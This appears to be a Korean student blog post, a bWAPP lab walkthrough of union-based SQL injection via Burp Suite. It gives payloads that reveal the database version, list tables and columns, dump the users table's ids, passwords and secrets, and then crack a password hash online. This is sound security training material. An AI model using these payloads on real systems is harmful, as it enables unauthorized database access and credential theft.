ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • BWAPP 3주차(post, search)
    보안/WEB HACKING 2024. 3. 14. 11:51

    MISSON. 버프스위트를 이용해 사용자들의 id와 password를 획득하자.

    난이도 low

    모든 공격은 버프스위트를 이용해주세요. 공격 과정은 GET방식과 유사합니다.

     

    Quest. 데이터베이스 정보를 알아내세요.

     

    Hint1. DB버전을 확인하는 쿼리를 찾아보세요.

    Hint2. @@version, database()으로 버전과 이름을 알 수 있습니다.

    • 먼저 버프스위트를 이용해 bwapp 에 접속하고 버프스위프트를 확인하자.

    title과 action 이라는 변수가 있다.( 마지막 줄)

    hint 1을 바탕으로 작은 따옴표를 search 칸에 입력한다.

    에러가 나는 것을 확인할 수 있다. ERROR 문구에서 에러가 SQL syntax에 있다고 적혀있다. 따라서 데이터베이스 서버는 SQL 이다.

    hint 2에 나온 @@version 은 DB 서버의 버전을 말하고 database()는 DB 명을 알려주는 함수이다.

    • union sql injection을 사용하는데 컬럼 개수와 데이터 형식이 같아야 한다.
    • 원하는 정보를 출력할 컬럼에 원하는 데이터 값을 넣고 나머지에는
    • mysql의 주석 구분기호는 # 이다.
    • 문자 데이터 구분 기호는 '(작은 따옴표)이다.
    • information_schema.columns 는 현재 사용자가 액세스 할 수 있는 열마다 한 행을 변환
    • column_name 은 열 이름

    • 컬럼 수에 맞게 title을 넣어주어야 한다.

    'union select all 1#, 'union select all 2#, 'union select all 3#, 'union select all 4#, 'union select all 5#, 'union select all 6# 입력 결과

    • title 에 'union select all 1,2,3,4,5,6,7# 을 입력한 결과

    • hint 2를 이용해서 title 에 'union select all 1, @@version,3,4,5,6,7# 입력

    제일 마지막 행이 데이터베이스 정보이다.

    데이터베이스 정보를 알아냈다.


    Quest. 데이터베이스에 존재하는 모든 테이블 명을 출력하세요.

    Hint1. GET방식과 쿼리는 같습니다.

    테이블명을 확인하고 싶을 때는 information_schema.tables#을 이용한다.

    'union select all 1, table_name,3,4,5,6,7 from information_shcema.tables# 을 입력한다.


    Quest. 사용자 정보가 들어있는 칼럼을 출력하세요.

    Hint1. 사용자 정보는 users테이블에 있습니다.

    title에 'union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'# 을 입력한다.

     


    Quest. 사용자의 id, password, secret, login 정보를 출력해봅시다.

    'union select all 1,id,password,secret,login,6,7 from users# 을 입력한다.


    Quest. 사용자의 비밀번호는 해시 값으로 암호화되어 있습니다. 해시값을 크랙해 비밀번호를 알아봅시다. (툴을 설치할 필요 없이 웹사이트를 이용하셔도 됩니다.)

    Hint1. https://crackstation.net/ 해시값을 크랙할 수 있는 사이트입니다.

    Hint2. password값으로 나온 해시값을 크랙해서 나온 결과를 첨부하면 됩니다.

    사용자의 비밀번호가 해시 값으로 암호화되어있다. hint 1의 사이트에 들어가 해시값을 크랙하자.

    해시값 크랙 결과 bug 가 나온다.

Designed by Tistory.